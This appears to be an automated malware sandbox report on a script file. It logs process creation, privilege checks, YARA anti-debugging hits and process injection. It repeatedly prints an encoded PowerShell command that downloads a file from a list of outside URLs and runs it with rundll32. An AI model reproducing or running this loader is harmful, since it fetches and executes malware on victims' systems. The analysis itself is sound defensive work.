powershell -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7ACQAUgBlAHcAYQByAGQAZQByACAAPQAgACgAIgBoAHQAdABwAHMAOgAvAC8AbABlAHMAZABlAGwAaQBjAGUAcwBkAGUAeQBhAG4AbgBpAGMAawAuAGMAbwBtAC8ARQBtAEYALwBmADcANgA0AHgAYwBMAGgAYgBHAGMALABoAHQAdABwAHMAOgAvAC8AaQBuAHQAZQByAG4AYQB0AGkAbwBuAGEAbAB2AG8AYwBhAGwAYwBvAGEAYwBoAC4AYwBvAG0ALwAzAHEAQQBaAHcALwBPAFcAWgA1ADgAUQBhAE0AcABMACwAaAB0AHQAcABzADoALwAvAG0AeQBhAG4AbQBhAHIAZwBvAGwAZgBmAGUAZABlAHIAYQB0AGkAbwBuAC4AbwByAGcALwBHADIAMgAvAGIAbQB3AGMAcwA3AE4AcgBMAFkALABoAHQAdABwAHMAOgAvAC8AZwBlAHQAYgB1AHQAdABuAC4AYwBvAG0ALwBNAEQAaAAvAFoAVABRAEgASwAzAEwATQAxAGkAbAAsAGgAdAB0AHAAcwA6AC8ALwB0AGUAbABlAGcAdQBpAGEAbgBkAG8ALgBjAG8AbQAvAGcASABaAG8ANAAvAGsARwBKAFUAbABBACwAaAB0AHQAcABzADoALwAvAGMAaABhAG4AYwBlAHIAeQBsAGEAdwAuAG4AZQB0AC8ASgBnAHoASgBYAC8AZAB0AEgAUQBCAFkALABoAHQAdABwAHMAOgAvAC8AZQBzAHQAdQBkAGkAbwB2AGkAYwB0AG8AcgBwAGEAYwBoAGUAYwBvAC4AYwBvAG0ALwBaAGsAVwBrAGwALwAwAFgANwBIAGwANgA3AE8ALABoAHQAdABwAHMAOgAvAC8AZwBvAGwAZABlAG4AbQBvAHYAaQBlAHMAYQB3AGEAcgBkAHMALgBjAG8AbQAvAGsATQB4AC8AMABSADkAQQB3AHIAUQBMAG0ALABoAHQAdABwAHMAOgAvAC8AaQBuAGcAZQBuAGkAZQByAGkAYQBjAGEAbQBwAG8AcgBpAGUAZwBvAC4AYwBvAG0ALwBaAGEATwAvAG8AawB0AE4AbQBtAEoAZQBDAGEAcwBqACwAaAB0AHQAcABzADoALwAvAGgAYQB6AG8AbgBjAGgAdQByAGMAaAAuAG8AcgBnAC8AYQB6ADQALwBOAGYAaABPAGcAaQA4ACwAaAB0AHQAcABzADoALwAvAGYAbwByAHQAdQBuAGUALgB0AHIAYQB2AGUAbAAvADQAZABBAGUALwB0AGQAUgBaAEQARwB2AEkALABoAHQAdABwAHMAOgAvAC8AYQBuAGQAcgBvAGkAZABwAG8AcwBtAGUALgBjAG8AbQAvAG8AUgA2AEIANQBIADEALwBCADkASQAwAE8ALABoAHQAdABwAHMAOgAvAC8AcgBpAGQAZQAxAGEAdAB2AC4AYwBvAG0ALwBJADgAUwBUAFcAcQAvAFMAWQBmADMAcABOAGQAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAZgBsAG8AYwBjAHUAbABhAHQAaQBuAGcARABlAGwAaQBjAGkAYQBlACAAaQBuACAAJABSAGUAdwBhAHIAZABlAHIAKQAgAHsAdAByAHkAIAB7AHcAZwBlAHQAIAAkAGYAbABvAGMAYwB1AGwAYQB0AGkAbgBnAEQAZQBsAGkAYwBpAGEAZQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANQAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwATABvAHUAbgBnAGUAcgAuAFQAYQBsAHAAaQBmAHkAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABlAG4AdgA6AFQARQBNAFAAXABMAG8AdQBuAGcAZQByAC4AVABhAGwAcABpAGYAeQApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADEAMAAwADAAMAAwACkAIAB7AHMAdABhAHIAdAAgAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBUAEUATQBQAFwAXABMAG8AdQBuAGcAZQByAC4AVABhAGwAcABpAGYAeQAsAE4AaQBrAG4AOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoACAAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAyADsAfQB9AA=="

cmdline

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7ACQAUgBlAHcAYQByAGQAZQByACAAPQAgACgAIgBoAHQAdABwAHMAOgAvAC8AbABlAHMAZABlAGwAaQBjAGUAcwBkAGUAeQBhAG4AbgBpAGMAawAuAGMAbwBtAC8ARQBtAEYALwBmADcANgA0AHgAYwBMAGgAYgBHAGMALABoAHQAdABwAHMAOgAvAC8AaQBuAHQAZQByAG4AYQB0AGkAbwBuAGEAbAB2AG8AYwBhAGwAYwBvAGEAYwBoAC4AYwBvAG0ALwAzAHEAQQBaAHcALwBPAFcAWgA1ADgAUQBhAE0AcABMACwAaAB0AHQAcABzADoALwAvAG0AeQBhAG4AbQBhAHIAZwBvAGwAZgBmAGUAZABlAHIAYQB0AGkAbwBuAC4AbwByAGcALwBHADIAMgAvAGIAbQB3AGMAcwA3AE4AcgBMAFkALABoAHQAdABwAHMAOgAvAC8AZwBlAHQAYgB1AHQAdABuAC4AYwBvAG0ALwBNAEQAaAAvAFoAVABRAEgASwAzAEwATQAxAGkAbAAsAGgAdAB0AHAAcwA6AC8ALwB0AGUAbABlAGcAdQBpAGEAbgBkAG8ALgBjAG8AbQAvAGcASABaAG8ANAAvAGsARwBKAFUAbABBACwAaAB0AHQAcABzADoALwAvAGMAaABhAG4AYwBlAHIAeQBsAGEAdwAuAG4AZQB0AC8ASgBnAHoASgBYAC8AZAB0AEgAUQBCAFkALABoAHQAdABwAHMAOgAvAC8AZQBzAHQAdQBkAGkAbwB2AGkAYwB0AG8AcgBwAGEAYwBoAGUAYwBvAC4AYwBvAG0ALwBaAGsAVwBrAGwALwAwAFgANwBIAGwANgA3AE8ALABoAHQAdABwAHMAOgAvAC8AZwBvAGwAZABlAG4AbQBvAHYAaQBlAHMAYQB3AGEAcgBkAHMALgBjAG8AbQAvAGsATQB4AC8AMABSADkAQQB3AHIAUQBMAG0ALABoAHQAdABwAHMAOgAvAC8AaQBuAGcAZQBuAGkAZQByAGkAYQBjAGEAbQBwAG8AcgBpAGUAZwBvAC4AYwBvAG0ALwBaAGEATwAvAG8AawB0AE4AbQBtAEoAZQBDAGEAcwBqACwAaAB0AHQAcABzADoALwAvAGgAYQB6AG8AbgBjAGgAdQByAGMAaAAuAG8AcgBnAC8AYQB6ADQALwBOAGYAaABPAGcAaQA4ACwAaAB0AHQAcABzADoALwAvAGYAbwByAHQAdQBuAGUALgB0AHIAYQB2AGUAbAAvADQAZABBAGUALwB0AGQAUgBaAEQARwB2AEkALABoAHQAdABwAHMAOgAvAC8AYQBuAGQAcgBvAGkAZABwAG8AcwBtAGUALgBjAG8AbQAvAG8AUgA2AEIANQBIADEALwBCADkASQAwAE8ALABoAHQAdABwAHMAOgAvAC8AcgBpAGQAZQAxAGEAdAB2AC4AYwBvAG0ALwBJADgAUwBUAFcAcQAvAFMAWQBmADMAcABOAGQAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAZgBsAG8AYwBjAHUAbABhAHQAaQBuAGcARABlAGwAaQBjAGkAYQBlACAAaQBuACAAJABSAGUAdwBhAHIAZABlAHIAKQAgAHsAdAByAHkAIAB7AHcAZwBlAHQAIAAkAGYAbABvAGMAYwB1AGwAYQB0AGkAbgBnAEQAZQBsAGkAYwBpAGEAZQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANQAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwATABvAHUAbgBnAGUAcgAuAFQAYQBsAHAAaQBmAHkAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABlAG4AdgA6AFQARQBNAFAAXABMAG8AdQBuAGcAZQByAC4AVABhAGwAcABpAGYAeQApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADEAMAAwADAAMAAwACkAIAB7AHMAdABhAHIAdAAgAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBUAEUATQBQAFwAXABMAG8AdQBuAGcAZQByAC4AVABhAGwAcABpAGYAeQAsAE4AaQBrAG4AOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoACAAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAyADsAfQB9AA=="

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW April 11, 2023, 9:38 a.m.	show_type: 0 filepath_r: powershell parameters: -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7ACQAUgBlAHcAYQByAGQAZQByACAAPQAgACgAIgBoAHQAdABwAHMAOgAvAC8AbABlAHMAZABlAGwAaQBjAGUAcwBkAGUAeQBhAG4AbgBpAGMAawAuAGMAbwBtAC8ARQBtAEYALwBmADcANgA0AHgAYwBMAGgAYgBHAGMALABoAHQAdABwAHMAOgAvAC8AaQBuAHQAZQByAG4AYQB0AGkAbwBuAGEAbAB2AG8AYwBhAGwAYwBvAGEAYwBoAC4AYwBvAG0ALwAzAHEAQQBaAHcALwBPAFcAWgA1ADgAUQBhAE0AcABMACwAaAB0AHQAcABzADoALwAvAG0AeQBhAG4AbQBhAHIAZwBvAGwAZgBmAGUAZABlAHIAYQB0AGkAbwBuAC4AbwByAGcALwBHADIAMgAvAGIAbQB3AGMAcwA3AE4AcgBMAFkALABoAHQAdABwAHMAOgAvAC8AZwBlAHQAYgB1AHQAdABuAC4AYwBvAG0ALwBNAEQAaAAvAFoAVABRAEgASwAzAEwATQAxAGkAbAAsAGgAdAB0AHAAcwA6AC8ALwB0AGUAbABlAGcAdQBpAGEAbgBkAG8ALgBjAG8AbQAvAGcASABaAG8ANAAvAGsARwBKAFUAbABBACwAaAB0AHQAcABzADoALwAvAGMAaABhAG4AYwBlAHIAeQBsAGEAdwAuAG4AZQB0AC8ASgBnAHoASgBYAC8AZAB0AEgAUQBCAFkALABoAHQAdABwAHMAOgAvAC8AZQBzAHQAdQBkAGkAbwB2AGkAYwB0AG8AcgBwAGEAYwBoAGUAYwBvAC4AYwBvAG0ALwBaAGsAVwBrAGwALwAwAFgANwBIAGwANgA3AE8ALABoAHQAdABwAHMAOgAvAC8AZwBvAGwAZABlAG4AbQBvAHYAaQBlAHMAYQB3AGEAcgBkAHMALgBjAG8AbQAvAGsATQB4AC8AMABSADkAQQB3AHIAUQBMAG0ALABoAHQAdABwAHMAOgAvAC8AaQBuAGcAZQBuAGkAZQByAGkAYQBjAGEAbQBwAG8AcgBpAGUAZwBvAC4AYwBvAG0ALwBaAGEATwAvAG8AawB0AE4AbQBtAEoAZQBDAGEAcwBqACwAaAB0AHQAcABzADoALwAvAGgAYQB6AG8AbgBjAGgAdQByAGMAaAAuAG8AcgBnAC8AYQB6ADQALwBOAGYAaABPAGcAaQA4ACwAaAB0AHQAcABzADoALwAvAGYAbwByAHQAdQBuAGUALgB0AHIAYQB2AGUAbAAvADQAZABBAGUALwB0AGQAUgBaAEQARwB2AEkALABoAHQAdABwAHMAOgAvAC8AYQBuAGQAcgBvAGkAZABwAG8AcwBtAGUALgBjAG8AbQAvAG8AUgA2AEIANQBIADEALwBCADkASQAwAE8ALABoAHQAdABwAHMAOgAvAC8AcgBpAGQAZQAxAGEAdAB2AC4AYwBvAG0ALwBJADgAUwBUAFcAcQAvAFMAWQBmADMAcABOAGQAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAZgBsAG8AYwBjAHUAbABhAHQAaQBuAGcARABlAGwAaQBjAGkAYQBlACAAaQBuACAAJABSAGUAdwBhAHIAZABlAHIAKQAgAHsAdAByAHkAIAB7AHcAZwBlAHQAIAAkAGYAbABvAGMAYwB1AGwAYQB0AGkAbgBnAEQAZQBsAGkAYwBpAGEAZQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANQAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwATABvAHUAbgBnAGUAcgAuAFQAYQBsAHAAaQBmAHkAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABlAG4AdgA6AFQARQBNAFAAXABMAG8AdQBuAGcAZQByAC4AVABhAGwAcABpAGYAeQApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADEAMAAwADAAMAAwACkAIAB7AHMAdABhAHIAdAAgAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBUAEUATQBQAFwAXABMAG8AdQBuAGcAZQByAC4AVABhAGwAcABpAGYAeQAsAE4AaQBrAG4AOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoACAAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAyADsAfQB9AA==" filepath: powershell	1	1	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW April 11, 2023, 9:38 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (8 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

One or more non-whitelisted processes were created (2 events)

parent_process	wscript.exe				martian_process	powershell -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7ACQAUgBlAHcAYQByAGQAZQByACAAPQAgACgAIgBoAHQAdABwAHMAOgAvAC8AbABlAHMAZABlAGwAaQBjAGUAcwBkAGUAeQBhAG4AbgBpAGMAawAuAGMAbwBtAC8ARQBtAEYALwBmADcANgA0AHgAYwBMAGgAYgBHAGMALABoAHQAdABwAHMAOgAvAC8AaQBuAHQAZQByAG4AYQB0AGkAbwBuAGEAbAB2AG8AYwBhAGwAYwBvAGEAYwBoAC4AYwBvAG0ALwAzAHEAQQBaAHcALwBPAFcAWgA1ADgAUQBhAE0AcABMACwAaAB0AHQAcABzADoALwAvAG0AeQBhAG4AbQBhAHIAZwBvAGwAZgBmAGUAZABlAHIAYQB0AGkAbwBuAC4AbwByAGcALwBHADIAMgAvAGIAbQB3AGMAcwA3AE4AcgBMAFkALABoAHQAdABwAHMAOgAvAC8AZwBlAHQAYgB1AHQAdABuAC4AYwBvAG0ALwBNAEQAaAAvAFoAVABRAEgASwAzAEwATQAxAGkAbAAsAGgAdAB0AHAAcwA6AC8ALwB0AGUAbABlAGcAdQBpAGEAbgBkAG8ALgBjAG8AbQAvAGcASABaAG8ANAAvAGsARwBKAFUAbABBACwAaAB0AHQAcABzADoALwAvAGMAaABhAG4AYwBlAHIAeQBsAGEAdwAuAG4AZQB0AC8ASgBnAHoASgBYAC8AZAB0AEgAUQBCAFkALABoAHQAdABwAHMAOgAvAC8AZQBzAHQAdQBkAGkAbwB2AGkAYwB0AG8AcgBwAGEAYwBoAGUAYwBvAC4AYwBvAG0ALwBaAGsAVwBrAGwALwAwAFgANwBIAGwANgA3AE8ALABoAHQAdABwAHMAOgAvAC8AZwBvAGwAZABlAG4AbQBvAHYAaQBlAHMAYQB3AGEAcgBkAHMALgBjAG8AbQAvAGsATQB4AC8AMABSADkAQQB3AHIAUQBMAG0ALABoAHQAdABwAHMAOgAvAC8AaQBuAGcAZQBuAGkAZQByAGkAYQBjAGEAbQBwAG8AcgBpAGUAZwBvAC4AYwBvAG0ALwBaAGEATwAvAG8AawB0AE4AbQBtAEoAZQBDAGEAcwBqACwAaAB0AHQAcABzADoALwAvAGgAYQB6AG8AbgBjAGgAdQByAGMAaAAuAG8AcgBnAC8AYQB6ADQALwBOAGYAaABPAGcAaQA4ACwAaAB0AHQAcABzADoALwAvAGYAbwByAHQAdQBuAGUALgB0AHIAYQB2AGUAbAAvADQAZABBAGUALwB0AGQAUgBaAEQARwB2AEkALABoAHQAdABwAHMAOgAvAC8AYQBuAGQAcgBvAGkAZABwAG8AcwBtAGUALgBjAG8AbQAvAG8AUgA2AEIANQBIADEALwBCADkASQAwAE8ALABoAHQAdABwAHMAOgAvAC8AcgBpAGQAZQAxAGEAdAB2AC4AYwBvAG0ALwBJADgAUwBUAFcAcQAvAFMAWQBmADMAcABOAGQAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAZgBsAG8AYwBjAHUAbABhAHQAaQBuAGcARABlAGwAaQBjAGkAYQBlACAAaQBuACAAJABSAGUAdwBhAHIAZABlAHIAKQAgAHsAdAByAHkAIAB7AHcAZwBlAHQAIAAkAGYAbABvAGMAYwB1AGwAYQB0AGkAbgBnAEQAZQBsAGkAYwBpAGEAZQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANQAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwATABvAHUAbgBnAGUAcgAuAFQAYQBsAHAAaQBmAHkAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABlAG4AdgA6AFQARQBNAFAAXABMAG8AdQBuAGcAZQByAC4AVABhAGwAcABpAGYAeQApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADEAMAAwADAAMAAwACkAIAB7AHMAdABhAHIAdAAgAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBUAEUATQBQAFwAXABMAG8AdQBuAGcAZQByAC4AVABhAGwAcABpAGYAeQAsAE4AaQBrAG4AOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoACAAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAyADsAfQB9AA=="
parent_process	wscript.exe				martian_process	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7ACQAUgBlAHcAYQByAGQAZQByACAAPQAgACgAIgBoAHQAdABwAHMAOgAvAC8AbABlAHMAZABlAGwAaQBjAGUAcwBkAGUAeQBhAG4AbgBpAGMAawAuAGMAbwBtAC8ARQBtAEYALwBmADcANgA0AHgAYwBMAGgAYgBHAGMALABoAHQAdABwAHMAOgAvAC8AaQBuAHQAZQByAG4AYQB0AGkAbwBuAGEAbAB2AG8AYwBhAGwAYwBvAGEAYwBoAC4AYwBvAG0ALwAzAHEAQQBaAHcALwBPAFcAWgA1ADgAUQBhAE0AcABMACwAaAB0AHQAcABzADoALwAvAG0AeQBhAG4AbQBhAHIAZwBvAGwAZgBmAGUAZABlAHIAYQB0AGkAbwBuAC4AbwByAGcALwBHADIAMgAvAGIAbQB3AGMAcwA3AE4AcgBMAFkALABoAHQAdABwAHMAOgAvAC8AZwBlAHQAYgB1AHQAdABuAC4AYwBvAG0ALwBNAEQAaAAvAFoAVABRAEgASwAzAEwATQAxAGkAbAAsAGgAdAB0AHAAcwA6AC8ALwB0AGUAbABlAGcAdQBpAGEAbgBkAG8ALgBjAG8AbQAvAGcASABaAG8ANAAvAGsARwBKAFUAbABBACwAaAB0AHQAcABzADoALwAvAGMAaABhAG4AYwBlAHIAeQBsAGEAdwAuAG4AZQB0AC8ASgBnAHoASgBYAC8AZAB0AEgAUQBCAFkALABoAHQAdABwAHMAOgAvAC8AZQBzAHQAdQBkAGkAbwB2AGkAYwB0AG8AcgBwAGEAYwBoAGUAYwBvAC4AYwBvAG0ALwBaAGsAVwBrAGwALwAwAFgANwBIAGwANgA3AE8ALABoAHQAdABwAHMAOgAvAC8AZwBvAGwAZABlAG4AbQBvAHYAaQBlAHMAYQB3AGEAcgBkAHMALgBjAG8AbQAvAGsATQB4AC8AMABSADkAQQB3AHIAUQBMAG0ALABoAHQAdABwAHMAOgAvAC8AaQBuAGcAZQBuAGkAZQByAGkAYQBjAGEAbQBwAG8AcgBpAGUAZwBvAC4AYwBvAG0ALwBaAGEATwAvAG8AawB0AE4AbQBtAEoAZQBDAGEAcwBqACwAaAB0AHQAcABzADoALwAvAGgAYQB6AG8AbgBjAGgAdQByAGMAaAAuAG8AcgBnAC8AYQB6ADQALwBOAGYAaABPAGcAaQA4ACwAaAB0AHQAcABzADoALwAvAGYAbwByAHQAdQBuAGUALgB0AHIAYQB2AGUAbAAvADQAZABBAGUALwB0AGQAUgBaAEQARwB2AEkALABoAHQAdABwAHMAOgAvAC8AYQBuAGQAcgBvAGkAZABwAG8AcwBtAGUALgBjAG8AbQAvAG8AUgA2AEIANQBIADEALwBCADkASQAwAE8ALABoAHQAdABwAHMAOgAvAC8AcgBpAGQAZQAxAGEAdAB2AC4AYwBvAG0ALwBJADgAUwBUAFcAcQAvAFMAWQBmADMAcABOAGQAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAZgBsAG8AYwBjAHUAbABhAHQAaQBuAGcARABlAGwAaQBjAGkAYQBlACAAaQBuACAAJABSAGUAdwBhAHIAZABlAHIAKQAgAHsAdAByAHkAIAB7AHcAZwBlAHQAIAAkAGYAbABvAGMAYwB1AGwAYQB0AGkAbgBnAEQAZQBsAGkAYwBpAGEAZQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANQAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwATABvAHUAbgBnAGUAcgAuAFQAYQBsAHAAaQBmAHkAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABlAG4AdgA6AFQARQBNAFAAXABMAG8AdQBuAGcAZQByAC4AVABhAGwAcABpAGYAeQApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADEAMAAwADAAMAAwACkAIAB7AHMAdABhAHIAdAAgAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBUAEUATQBQAFwAXABMAG8AdQBuAGcAZQByAC4AVABhAGwAcABpAGYAeQAsAE4AaQBrAG4AOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoACAAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAyADsAfQB9AA=="

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2064 resumed a thread in remote process 2168
NtResumeThread April 11, 2023, 9:38 a.m.	thread_handle: 0x0000012c suspend_count: 1 process_identifier: 2168	1	0	0

The process wscript.exe wrote an executable file to disk which it then attempted to execute (1 event)

file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Ffjcx.wsf

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All